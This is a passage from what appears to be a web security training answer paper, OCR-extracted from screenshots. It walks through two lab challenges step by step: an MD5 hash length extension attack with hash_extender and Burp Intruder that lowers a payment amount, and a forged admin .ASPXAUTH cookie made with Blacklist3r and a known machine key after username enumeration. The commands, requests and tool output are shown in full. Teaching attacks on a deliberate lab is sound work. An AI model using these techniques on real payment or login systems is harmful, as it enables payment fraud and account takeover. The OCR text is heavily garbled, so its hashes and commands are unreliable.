14 transactionid=3eafbed2ec fad8d3bec38bl772bfOckhléemail=sanjay.nss%40mailinator.combamount=279&
currency=GBP&productinfo=
Recharge%2C+You%sE2%B80%991 1+ receive+the+recharge+code+and+inst ructions+on+the+emai l+address+you+fil
led+in.+That +way+yousE2%80%991 L+always+stay+connect ed%21&hash=584e373b3cY9chaabb3ede1129a848083
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Step 3: Notice that payment amount from the original request is being displayed in the response.

m Cancel Target: http://pay.webhacklab.com /

[ ] O
Request (LD

Pretty \n Actions v

1 POST /pg.php HTTP/1.1

7 Host: pay.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux x86 _64; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content -Type: application/x-www-form-urlencoded

Content -Length: 309

Origin: http://topup.webhacklab.com

10 Connection: close

11 Referer:

http://topup.webhacklab.com/shop/Payment ?productid=11&vcode=41324d31304a554chuser=27a9p038-6545-
4245-8f18-ec1B832fbBa3f&notes=

12 Upgrade-Insecure-Requests: 1

13

14 transactionid=3ea%6ed2ecfad8d3bec38b1772bfOchl&emai l=san]jay .nss%40mailinator.com
currency=GBP&productinfo=

Recharge%2C+YousE2%80%991 1+ receive+the+recharge+code+and+inst ructions+on+the+email+address+you+f
illed+in.+That +way+yousE2%B0%991 1 +always+stay+connect ed%21&hash=584e373b3c9c5aabb3aede1129a848083

Response

Select extension... Vv

-~

W oo

| 0 matches

Pretty JREWEM Render \n Actions v

58 <span>Amount </span>
59

<sSpan ass="mdl-1list item-text-body">
60 279 GBP </
span=

Select extension...

T SR

61 </span>|
62 </1li=>
®{§} |i”2|| 279 2 matches
Done 7.885 bytes | 283 )
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Step 4: By tampering the values of different parameters we can identify that the application gives an
error message “Hash validation failed” when the “transactionid”, “email” or “amount” parameters are

tampered.

Note: This suggests that the “hash” might be using the values of these three parameters, however
generating hashes of these parameters combined does not match the value of “hash”. The reason

for this could be a secret being used for hash generation along with these values.

m Cancel | < "| Target: http://pay.webhacklab.com /
[ 1] |

Request LI

Pretty \n  Actions v Select extension... v

1 POST /pg.php HTTP/1.1
2 Host: pay.webhacklab.com
3 User-Agent: Mozilla/5.0 (X11; Linux x86 _64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;g=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-Torm-urlencoded
g8 Content-Length: 297
9 0rigin: http://topup.webhacklab.com
10 Connection: close
11 Referer:
http://topup.webhacklab.com/shop/Payment 7productid=11&vcode=41324d31304a554chuser=27a9b038-6545-
4245-8f18-ec1832fbBa3fanotes=
12 Upgrade-Insecure-Requests: 1
13
14 transactionid=3e696ed2ecfa48d3bec38b1772bf0cb1Qemail=dummy@dummy.compamount=279&currency=GBP&
productinfo=
Recharge%s2C+YousEZ%80%991 1+ receive+the+recharge+code+and+inst ructions+on+the+emal l+address+you+ T
illed+in.+That +way+yousE2%80%991 l+always+st ay+connected%21&hash=584e373b3c9c5aatb3ede]1129a848083

® {§} |E| |§| | Search... 0 matches

Response

Pretty BREINE Render \n Actions v Select extension... v

T ST LT

g Content -Length: 30

9 Connection: close

10 Content -Type: text/html; charset=UTF-8
11

12

13 <br/>|Hash validation failed |

®{§} |i”2|| Search... | 0 matches

Done 365 bytes | 322

NotSoSecure part of Page: | 22

Claranet Cyber secu I’ity © Claranet Cyber Security 2021. All rights reserved




NSS Training — AWH 5D Answer Paper

Step 5: Using the tool “hash_extender” generate multiple hashes with different padding length using

the following command. Notice that we want to change the price from 279’ to ‘10’

root@Kali:~/tools/hash extender# ./hash_extender --data
3ea96ed2ecfa48d3bec38bl1772bfOcblsanjay.nss@mailinator.com279 --secret-min 8 --
secret-max 18 --append 10 --signature 584e373b3c9c5aabb3edel129a848083 --
format md5 --out-data-format html -table

Where,
--data = It's a combination of transactionid+email+amount
--signature = It's a value of the hash parameter from the request

root@® kali)-|~/tools/hash_extender
# ./hash_extender —-data 3ea96ed2ecfa48d3bec38b1772bf@cblsanjay.nssamailinator.com279 —secret-min 8 —secret-max 18 —appe
nd 10 —signature 584e373b3c9c5aabb3ede1129a848083 —format md5 ——out-data-format html --table | tee output.txt
dd2eaf62d5bd0 aa9%lebc3e36 3ea%6ed2ectas8d3bec38b1772bf0 j ili com27
J 7ol 7 L J gy J L L 7 J / 7ol 7
@
ecom2?

7

ecom27

7

com27

ecom27
com279%

p2ecom279%

aa941e6c3e36 3ea%6ed
0%00%00%00%00%00%00%

NotSoSecure part of Page: | 23

claranet cyber security

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 6: Send the HTTP Request captured in Step 2 to Intruder.

Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper ~ ‘
1 POST /pg.php HTTP/1.1 | Adds |
27 Host: pay.webhacklab.com —_—
3 User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:78.0) Gecko/Z20100101 Firefox/78.0 | Clear § |
4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8 |___EEE;§__‘
5 Accept-Language: en-US,en;q=0.5 =
6 Accept-Encoding: gzip, deflate | Refresh |

Content-Type: application/x-www-form-urlencoded
Content -Length: 309
Origin: http://topup.webhacklab.com
Connection: close
11 Referer:
http://topup.webhacklab.com/shop/Payment ?productid=11&vcode=41324d31304a554chuser=2
7a9b038-6545-4245-8718-ec1832fbBa3fanotes=
12 Upgrade-Insecure-Requests: 1
13
14 transactionid=3ea96edZecfa4Bd3ibec3Bbl772bf0chbl&emall=sanjay.nss%40mailinator.con&
amount=27%&currency=GBP&productinfo=
Recharge%2C+YousE2%B80%991 1+ receive+the+recharge+code+and+instructions+on+the+email+
address+you+Tilled+in. +That +way+yousE2%80%991 1+always+stay+connected%21&hash=
584e373b3c9c5aa6b3ede1129a848083

= WD o

—
o

Step 7: Create the Intruder payload as shown below.

Payload Value: Starting from the email address till last NULL byte (%00) without amount parameter

value.

0%00%00%00%00%00%00° OD s00+% ,0 ;
dd2€af67d5dec00ffc3da941e6c3e36 3ea9GedZecfa48d3bec38b17/ ’beLblsuuay

enss%40mailinator%s2ecom2
0u%00%00%00%00%00%00%00

5!

dd%aTb?ddeOcOOfchaa94lc6c_,036 30a96;d2ecfa4 3d3 bcc’ob 7

0%00%00%00%

san ] ay%2ens € 2 ok %00%00%00%00%00%00%
r,OO“ % J
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Step 8: Replace the hash parameter value from the payload generated in Step 5.

t® | ~/tools/hash_extender
./hash_extender --data 3ea96ed2ecfas8d3bec38b1772bfOcblsanjay.nssamailinator.com279 --secret-min 8 --secret-max 18 --appe
nd 10 --signature 584e373b3c9c5aabb3ede1129a848083 -- format md5 --out-data-format html --table | tee output.txt
md5 dd2eaf62d5bd0e00ffc3aa941e6c3e36 3ea96ed2ecfas8d3bec38b1772bfOcblsanjay%2enss%40mailinator%2ecom279%80%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00

%00%00%00%00%00+%02%00%00%00%00%00%0010
md5 dd2eaf62d5bd0e00ffc3aa94le6c3e36 3ead6ed2ecfas8d3bec38b1772bfOcblsanjay%2enss%40mailinator%2ecom279%80%00%00%00%00%

00%00%00%00%00%00%00%00%D0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%28%02%00%005%00%00%00%0010

md5 dd2eaf62d5bd0e@0ffc3aa94le6c3e36 3ea96ed2ecfas8d3bec38b1772bfOcblsanjay%2enss%40mailinator%2ecom279%80%00%00%00%00%
00%00%00%00%00%00%00%00%02%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%000%02%0090@(’}“/00%0@‘&)0%0@10

@ i O] " K Edit&Creste v |2 Share =

Attack type} | Sniper

POST g.php HTTP/1.1

2 Host: Ppay.webhacklab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept § text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept 4 anguage: en-US,en;g=0.5

6 Accept -Encoding: gzip, defla

Content §Type: application/x-www-form-urlencoded
Content 4.ength: 309
Origin: fgttp://topup.webhacklab.com
Connecti@n: close

1 Referer:
http://tdpup.webhacklab.com/shop/Payment ?productid=11&vcode=4f324d31304a554c&user=2
7a9p038-6445-4245-8f18-ec1832fbBa3fanotes=

2 Upgrade- Ifgsecure-Requests: 1

'Gr 4».TJZLJ 3bec38b1 772k

14 transactio ld 3e Ocbl&email=§sanjay.nss%40mailinator.com§&

+on+the+email+
’1&hash=

recharge+code+and+instruction
580%9911+always+stay+connected
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Step 9: Select the 'email' parameter as injection point, change the value of the amount parameter

form '279' to '10".

Payload Positions
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.
Attack type: | Sniper v ’
1 POST /pg.php HTTP/1.1 Add § 1
2 Host: pay.webhacklab.com —_—
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Clear §
4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8 Auto § |
5 Accept-Language: en-US,en;q=0.5 ——
6 Accept-Encoding: gzip, deflate Refresh |
7 Content -Type: application/x-www-form-urlencoded =
8 Content -Length: 309
9 0rigin: http://topup.webhacklab.com
10 Connection: close
11 Referer:
http://topup.webhacklab.com/shop/Payment ?productid=11&vcode=4f324d31304a554c&user=2
7a9b038-6545-4245-8f18-ec1832fbBa3f&notes=
12 Upgrade-Insecure-Requests: 1
13
14 transactionid=3ea%ed2ec fadB8d3bec38b1772bfOcblpemail=sanjay.nss%40mailinator.com§
Lcurrency=GBP&productinfo=
Recharge%2C+You%sE2%80%9911+receive+the+recharge+code+and+inst rgctions+on+the+email+
abidre 2 illedein oU%E2%80%991 1+always+stay+conpected%21&hash=
htgp://topup.webhacklab.cqm/shop/Payment ?productid=11&vcode=4 f@24d31304a554cluser=2
bb038-6545-4245-8f18-ec1B32fbB8a3fanotes=
onid=3ea%6ed2ec fadgd3bec38b1772bfOcblfemail=§sanjay.nss%40mailinator.com§§
currency=GBP&prod&tinfo=
% celve+the+recharge+code+and+inst ructions+on+the+email+
0U%E2%80%991 1+always+stay+connected%218&hash=
dd2eaf62d5bd0el0f fc3aa%941eb6¢c3e36
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Step 10: Select the padded values generated by the tool starting from the email address till last
NULL byte (%00) from Step 7 and paste them in the payload list. Also, make sure to uncheck the

option to 'URL encode' the special characters.

Target Positions Payloads Options

® Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions
tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: | 1 v | Payload count: 11

Payload type: | Simple list v | Request count: 11

® Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste | sanjay%2enss%40mailinator%2ecom279%80%0...
] sanjay%2enss%40mailinator%2ecom279%80%0...
—— ) sanjay%2enss%40mailinator%2ecom279%80%0...

| Remove §sanjay%2enss%40mailinator%2ecom279%80%0...  |M
" Clear [ 5anjay%2enss%40mailinator%2ecom279%80%O0...
|} sanjay%2enss%40mailinator%2ecom279%80%0...

[ Add [mrrermremrem i

Add from list ... [Pro version only]

® Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Enabled Rule

® Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

URL-encode these characters:| S\=<ETHEF N |

NotSoSecure part of Page: | 27

claranet cyber security

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 11: Start the intruder attack and notice that one of the payloads was successful.

Request Payload Status Error  Timeout Length Comment
0 200 365
1 sanjay%2enss%40mailinator%... 200 365
2 sanjay%2enss%40mailinator%... 200 365
3 sanjay%2enss%40mailinator%... 200 365
4 sanjay%2enss%40mailinator%... 200 7833 |
5 sanjay % 2enss%40mailinator%... 200 365
6 sanjay % 2enss%40mailinator%... 200 365
v eanisuledance Mo d Nonsilinat sl eTalal e Tl =

Request Response

Pretty JREl \n Actions v Select extension... Vv

1 POST /pa.php HTTRP/1.1

2 Host: pay.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

5 Accept-Language: en-US,en;q=0.5

o Accept-Encoding: gzip, deflate

7 Content -Type: application/x-www-form-urlencoded

& Content-Length: 484

9 0rigin: http://topup.webhacklab.com

10 Connection: close

11 Referer:
http://topup.webhacklab.com/shop/Payment ?productid=11&vcode=41324d31304a554ckuser=27a9b038-6545-4245-8718-ec1832fb8a
3f&notes=

12 Upgrade-Insecure-Requests: 1

1

14 transactionid=3ea%edZecfadB8d3bec38bl/72bfOchbléemail=

sanjay%Zenss%40mailinat orsZecom279%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
0E%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008%02%00%00%00%00%00%00&amount =10&cur rency=GBP&
productinfo=

Recharge%2C+YousE2%B80%991 L+ receive+the+recharge+code+and+inst ructions+on+the+emal l+address+you+ filled+in. + That+way+y
oUsEZ%B80%991 1+always+st ay+connect ed%Z 1 &hash=ddZeaf62d5bdbefif fc3aa94 1eb6c3e36

Step 12: Modify the initial payment request captured in Step 2, replace POST body with successful
payload from Step 11. The response will show that the amount we need to pay is now 10 GBP
(instead of 279 GBP).

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer

Intercept HTTP history WebSockets history Options
/ Request to http://pay.webhacklab.com:80 [192.168.200.10]
. Forward | | Drop | | Action | | Open Browser Comment this item |W

Pretty \n Actions Vv Select extension... Vv

POST /pg.php HTTP/1.1
Host: pay.webhacklab.com
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;g=0.8
Accept -Language: en-US,en;qg=0.5
Accept-Encoding: gzip, deflate
Content -Type: application/x-www-form-urlencoded
Content -Length: 309
Origin: http://topup.webhacklab.com
Connection: close
11 Referer:

http://topup.webhacklab.com/shop/Payment ?productid=11&vcode=41324d31304a554chuser=27a9b038-6545-42

45-8718-ec1832fbBa3fanotes=
12 Upgrade-Insecure-Reguests: 1
13
14 transactionid=3ea%ed2ecfad8d3bec38bl772bT0Ocbhblaemall=
sanjay%2enssk40mailinators2ecom279%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
D0%00%005%005%005%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00B8%02%00%00%00%0
%00%00&amount=10&currency=GBP&product info=
Recharge%2C+YousE2%80%991 1+ receive+the+recharge+code+and+inst ructions+on+the+email+address+you+fil
led+in.+That +way+yousE2%80%991 1+always+stay+connect eds21&hash=ddZ2eaf62d5bd0e00f fc3aa94 1ebc3e36

O LT P L) R e

=
©w o
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Step 13: Enter credit card details and complete the transaction.

© #& o pay.webhacklab.com/pg.php - @

Fklab |- Topup Webhacklab & Microblog @ HealthCheck |- Admin Webhacklab |- Utility & Wordpres NotSoSecure & Databa

VISA NotSoSecure Payment GateWay

Order Infomation

Order Id Information

3ea96ed2ecfa48d3bec38b1772bf0ch1 Recharge, You'll receive the recharge code and
instructions on the email address you filled in. That way
vou'll alwavs stav connected!

Amount Email
10 GBP

Credit Card Details

* Please don't use a real credit card. This is a notsosecure payment gateway

Name on Card
dummmy dummy

Card Number

4111111111111
Month Year Ccvv
12 23 [T PAY

Step 14: Go to “My Orders” section and check the amount. Notice that the price shown is 279 GBP.

<« c @ © A& topup.webhacklab.com/shop/myorder - O In @ @

@ NotSosecure € Shop Webhacklab |- Topup Webhacklab @ Microblog @ HealthCheck |- Admin Webhacklab |- Utility € Wordpres NotSoSecure @ Database Connection @) Slim

= NOTESECLME HOME TOPUP VOUCHERS SHOP SANJAY.NSS@MAILINATOR.COM MY ORDERS Q

My Orders

Product Transaction Amount Order Status Order Date Invoice

02 Jealbed2ectad8d3bec3Bb1772bf0ch1 279 Success 7/24/2021 12:22:18 PM DOWNLOAD

O adff7133cab24837a23d7c3711e9f6f 279 Initiated 7/24/2021 12:16:18 PM DOWNLOAD
2

O 5ae5Secdf8764479ab815leab51a5191e 279 Initiated 7/24/2021 11:44:28 AM DOWNLOAD
2
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Step 15: You will receive a payment receipt to your registered email, indicating transaction number,
status and the total amount paid (10 GBP in this case).

Public Message > Payment received

To sanjay.nss

From webdevsecpool 1 @gmail.com
Sending IP  209.85.128.43

Received 2021-07-24 12:46:10

HTML JSON RAW LINKS ATTACHMENTS

NotSoSecure Payment

Hi sanjay.nss@mailinator.com,
re received a payment.

Transaction ID : 3ea96ed2ecfad8d3bec38b1772bfOcbl

The number above is the transaction ID for this order. Please retain it for future reference .

Payment Details

Total amount: 10 GBP
Currency: British Pounds

Transaction ID: 3ea96ed2ecfad8d3bec38b1772bf0chl
Payment Status: Success

Thanks, Team NotSoSecure
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Auth Bypass using pre-shared
MachineKey

Challenge URL: http://admin.webhacklab.com/

¢ Identify a pre-shared Machine Key used in the application using “Blacklist3r”

¢ Create a new auth token for “admin” user and gain access to the administrative

console

e Use http://utility.webhacklab.com/ to generate payloads
Solution:

Step 1: Navigate to the “http://admin.webhacklab.com/Home/About” page to access the admin
interface.

| - admin.webhacklab.com/ X

@ Q_ admin.webhacklab.com/Home/About

Step 2: As the user is not authenticated, it will redirect to the login page.

Go || cancel <lv [ 20w Target: http://admin.webhacklab.com [:]m
Request

Raw | Headers | Hex

GET /Home/RAbout HTTP/1.1

Host: admin.webhacklab.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
[Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/*;q=0.8

[Accept-Language: en-US,en;qg=0.5

[Accept-Encoding: gzip, deflate

Connection: close f

Ir

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0 v

z [ < ] + ] > ‘ http:/ fadmin.webhacklab.com/Home/About 0 matches

Response

Raw | Headers | Hex | HTML | Render

HTTP/1.1 302 Found

A
Cache-Control: private i
Content-Type: text/html; charset=utf-8
Location: /Account/Login?ReturnUrl=%2fHome%2fAbout
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.2
X-AspNet-Version: 4.0.30319
Set-Cookie:
| NSSTemp=AAEAAAD/////AQRAAAAAAAAEAQAAAROIBU312zdGVELkNvbGx1Y3Rpb252zLkd1bmVyaWMuRG1l jdGlvbmFyeWAyW1 tTeXN0ZWOuU3RyaWsnLCBtc2NvemxpYivg
VmVyc21vbj00LjAuMC4wLCBDdWx0dXI1PWS 1dXRy YWws IFB1YmxpY0tleVRva2VuPWI3SN2E1YzU2MTkzZNGUwOD1dLFtTeXNOZW0uT2JgZWNOLCBtc2NvemxpY iwgVmVyc2
1vbj00LjAUMC4WLCBDAWx0dXT1PW5 1dXRyYWwsIFBlYmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwWOD1dXOMAAAAHVMYyCc21vbghDb2 lw¥XJ1leghI¥XNoU216 Z0ADAAGW
U31zdGVtLkIyZGluYWxDb2 1wYXJ1cggAAAAACQTAAAARARAABATARAAWU312dGVELKIYZG1luYWxDb2 1wYXJ1cgEAAAALX2 Inbm9y ZUNhc2URRQEL; path=/;
HttpOnly
X-Powered-By: ASP.NET
Date: Thu, 10 Jan 2019 12:50:13 GMT
Connection: close
Content-Length: 157
<html><head><title>0bject moved</title></head><body>
<h2>0bject moved to|<a href="/Account/Login?ReturnUrl=%ZfHome%ZfAbout">here</a>.</h2>
</body></html> %
NotSoSecure part of Page: | 31

© Claranet Cyber Security 2021. All rights reserved

claranet cyber security



NSS Training — AWH 5D Answer Paper

Step 3: On following the redirect, it is observed that the application sets multiple cookie values, one
of which is “* ASPXAUTH”. The cookie “ ASPXAUTH” is used to establish the user identity and is

signed and encrypted.

Go < v > Target: http:/ /admin.webhacklab.com {Q CJ

Raw | Params | Headers | Hex

GET /Account/Login?ReturnUrl=%2fHome%2fAbout HTTP/1.1
Host: admin.webhacklab.com T
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;g=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

-

v

[ 2 = e > Jl http://admin.webhacklab.com/Account/Login?ReturnUrl=%2fHome%2fAbout 0 matches

Res se
(RawTHeaders T Hex ]

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-II5/10.0

X-AspNetMvc-Version: 5.2

X-Frame-Options: SAMEORIGIN

X-AspNet-Version: 4.0.30319

Set-Cookie: W,
. ASPXAUTH=56B2902F653119CF3E90FEE9IDC92DF0EA41EB3D|670FFD753BD740220B024449CA6DF7B694D9940616DA270D28A6B31436508EE6FCTF9100E7266214C
1B75A63C15C2BA0C256B6423F842D74FF8EC4ADODF164E9217CD2F259FD9747811AFD824342EEEY; path=/

Set-Cookie:

_RequestVerificationToken=zSFYeHYWHieAKZYxXaLjuy21NGfKvlr2IQ5ueHeqoxuyMcoZ 1ZFNKIS4n51Nghr95gMmGGERARx5Y9q0xX0Ej-sHdAY1; path=/;

HttpOnly

Set-Cookie:

_ NSSTemp=AAEAAAD/////AQARAAAAAAAAEAQAAAOIBU31zdGVtLkNvbGx1Y3Rpb252zLkdlbmVyaWMuRGl jdGlvbmFyeWAyW1tTeXN0ZWOulU3RyaWsnLCBte2NvemxpY ivg

VmVyc21lvbj00LjAuMC4wWLCBDAWx0dXI1PW51dXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwOD1dLFtTeXNOZWOuT2JgZWNOLCBtc2ZNvemxpY iwgVmVyc2

1vbj00LjAUMC4wLCBDAWx0dXI1PW5 1dXRyYWwsIFBlYmxpY 0t leVRva2VuPWI3N2E1YzU2MTkzNGUwOD1dXQQAARAHVMVyCc2lvbghDb2 1wYXJ1lcghIYXNoU216ZQ1LZX1W

YWx1ZVBhaXJzAAMAAWGWU31zdGVtLkIyZGluYWxDb2 lw¥XJlegjmAVNS5c3R1bS5Db2xsZWN0aW9ucy5HEZWS leml jLkt 1eVZhbHV1UGFpemAyW1tTeXNOZWOuU3RyaW5nLC

Bte2NvemxpYiwgVmVyc2lvbj00L jAuMC4wLCBDdWx0dXJ1PW51dXRyYWws IFBlYmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUWOD1dLFtTeXN0 ZW0uT2JgZWNOLCBtc2Nv

cmxpYiwgVmVyc21lvbj00LjAuMC4wLCBDAWx0dXJ1PWS1dXRy YWws IFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwOD1dXVEtdAQAARAKCAAAAAWAARAKDAAAABATAAA

AWU312zdGVtLk9yZGluYWxDb2 1wYXJ1lcgEARAALX 2 1nbmIy ZUNhc 2UAAQEHAWAAAAABAAARAQARAAPKAVNSc3R1bS5Db2xs ZWNOaW9ucySHZWS 1leml jLkt 1eVZhbHV1UGFp

»

1,

Step 4: Using the “Blacklist3r” utility we will verify if the application uses a pre-shared machine key
available in Blacklist3r's database. Once verified, it will decrypt the auth cookie and store it in a file.

The file contains two interesting fields holding value (anonymous) highlighted, as shown below.

\Blacklist3r>AspDotNetWrapper.exe --cookie 56B2902F653119CF3E9QFEEIDC92DFOEA41EB3D670FFD753BD740220B02444
9CA6DF7B694D9940616DA270D28A6B31436508EE6FC7F9100E7266214CD1B75A63C15C2BABC256B6423F842D74FF8EC4ADODF164E9217CD2F259FD9747811AFD
B24342EEE9 --decrypt --valalgo shal --decalgo aes --keypath MachineKeys.txt --purpose aspxauth

Decryption process start!!

pata stored at [HIIIINIEGg@N \51-cklist3r\DecryptedText.txt file!!

JecryptionKey:AAT7748552F60C36E2F8ECATDAOAA384543492FB0T7604F6C

JecryptionAlgo:AES
falidationKey:99242238FD3EBB23A4721704AF30E4128510C1F2FFBDC428B52DES52ABFE1TFDESABEAFCAT18893F27D17427CECE34543R388]
[£60244F74122BB38783FE313CEEF

falidationAlgo:SHA1

FneryptionTV:VrKQL2UxGe8+kP7p3JLfDg==

Purpose:aspxauth

> Path:

dUTC:1/10/2019 1:10:23 PM
istent:False
uedUTC:1/10/2019% 12:50:23 PM
anonymous
serName : anonymous|
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Alternative: You can decrypt the cookie using the web interface URL of Blacklist3r:

http://utility.webhacklab.com/Blacklister.aspx.

Helper Utility Blackiist3r YSoSerial

Blacklist3r

Blacklist3r tools to audit the target application and verify the usage of these pre-published keys

Decryption Encryption

Encrypted Cookie Plaintext Cookie

56B2902F653119CF3E90FEESDC92DFOEA41EB3D670FFD7538D740220802
4449CABDF7B694D9940616DA270D238A6B31436508EE6FCTF9100E7266214
CD1B75A63C15C2BA0C256B6423F842D74FFSEC4ADODF164E9217CD2F25
9FD9747811AFD824342EEES-

Purpose

ASPXAUTH v

Validation Algorithm

shat v

Decryption Algorithm

aes ¥
VA
Decrypt Encrypt
Decrypted Cookie Information (Output) Encrypted Cookie Information (Output)

DecryptionKey-AA77748552F60C36E2FBEC47DADAA384543492FB07604 &
F6C

DecrypticnAlgo:AES
ValidationKey:99242238FD3EBB23A4721704AF30E4128510C1F2FFBDC4
28B52DES2ABFE17FDES4BE4FCAT718893F27D17427CECE34543B338E6
0244F74122BB38783FE313CEEF

ValidationAlgo:SHA1

EncryptionlV:-VrKQL2UxGc8+kP7p3JLIDg==

Purpose:ASPXAUTH

CookiePath:/

ExpiredUTC:1/10/2019 1:10:23 PM

IsPersistent.False

IssuedUTC:1/10/2019 12:50:23 PM v 74

Edit Cookie >

AspDotNetWrapper.exe —-cookie
56B2902F653119CF3E90FEESDCI2DF0EA41EB3D670FFD7538D7402208024449CAGDF7B694D9940616DA270D28A6631436508EE6FC7F9100E7266214CD1B75A63C15C2BA
0C256B6423F842D74FFSEC4ADODF164E9217CD2F259FD9747811AFD824342EEES --decrypt —-valalgo sha1 —decalgo aes —purpose ASPXAUTH --outputFile DecryptedText txt —
keypath machineKeys. txt
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Step 5: The next task is to find a valid user based on which we can use the Blackist3r utility to
create a valid auth token. The login page is vulnerable to username enumeration. For an invalid

username, it returns “Invalid username and password” default error message.

@ & admin.webhacklab.com/?ReturnUrl=%2FHome%2FAbout [ s

Login
¢ |nvalid username and password.

User Name

test

Password

Remember me

Step 6: However, for a valid username and invalid password, it returns “Invalid password” error

message. Using this we can identify that “admin” is a valid user in the application.

@ A # adminwebhacklab.com . Ry

Login

* Invalid password.
User Name

admin

Password

~ Remember me
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Step 7: Once the valid user is found change the username and role information in decrypted file

generated in Step 4 and re-generate the cookie using the Blacklist3r terminal utility based on the
modified information.

DecryptionKey 77748552F60C36E2F8EC47DA0OAA384543492FB07604F6C

DecrypltionAlg ES
ValidationKey:99242238FD3EBB23A4721704AF30E4128510C1F2FFBDC428B52DES52ABFE17FDES4BE4AFCA718893F27D17427CECE34543B388
0244F74122BB 3FE313CEEF

:aspxauth

ath:/

iredUTC:1/10/2019 1:10:23 PM
stent:False

:1/10/2019 12:50:23 PM

JserName : admin|

\Blacklist3r>AspDotNetWrapper.exe --decryptDataFilePath DecryptedText.txt
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Alternative: To perform this activity on the web utility change the username and role information in

decrypted information panel in Step 4 and re-generate the cookie based on the modified

information.

Helper Utility  Blackiist3r  YSoSerial

Blacklist3r

Elacklist3r tools to audit the target application and verify the usage of these pre-published keys

Decryption

Encrypted Cookie

56B2902F653119CF3ES0FEESDC92DF0EA41EB3D6T0FFDYS53BD740220802
4449CABDF7B694D9940616DA270D28A6B31436506EE6FCTF9100E7266214
CD1B75A63C15C2BA0C256B6423F842D74FFBEC4ADODF164E9217CD2F25
9FD9747311AFD824342EEES

Purpose

ASPXAUTH v

Validation Algorithm

shal v

Decryption Algorithm

aes ¥

Decrypt

Decrypted Cookie Information (Output)

DecryptionKey:AAT7748552F60C36E2FEEC4TDAOAA3S4543492FB07604 -
F6C

DecryptionAlgo:AES
ValidationKey:99242238FD3EBB23A4721704AF30E4128510C1F2FFBDC4
28B52DES2ABFE17FDES4BE4FCAT18893F27D17427CECE34543B388E6
0244F74122BB38783FE313CEEF

ValidationAlge:SHA1

EncryptionlV:VrKQL2UxGc8+kP7p3JLDg==

Purpose:ASPXAUTH

CookiePath:/

ExpiredUTC:1/10/2019 1:10:23 PM

IsPersistent.False

IssuedUTC:1/10/2019 12:50:23 PM “

Edit Cookie >

AspDotNetWrapper.exe —decryptDataFilePath DecryptedText txt

Encryption

Plaintext Cookie

DecryptionKey: AAT7748552F60C36E2FSEC4TDADAA3S4543492FB0T604F6C
DecryptionAlgo:AES
ValidationKey:99242238FD3EBB23A4721704AF30E4128510C1F2FFBDC428B
52DES2ABFE17FDES4BE4FCAT18893F27D17427CECE34543B388E60244F7
4122BB38783FE313CEEF

ValidationAlgo:SHA1

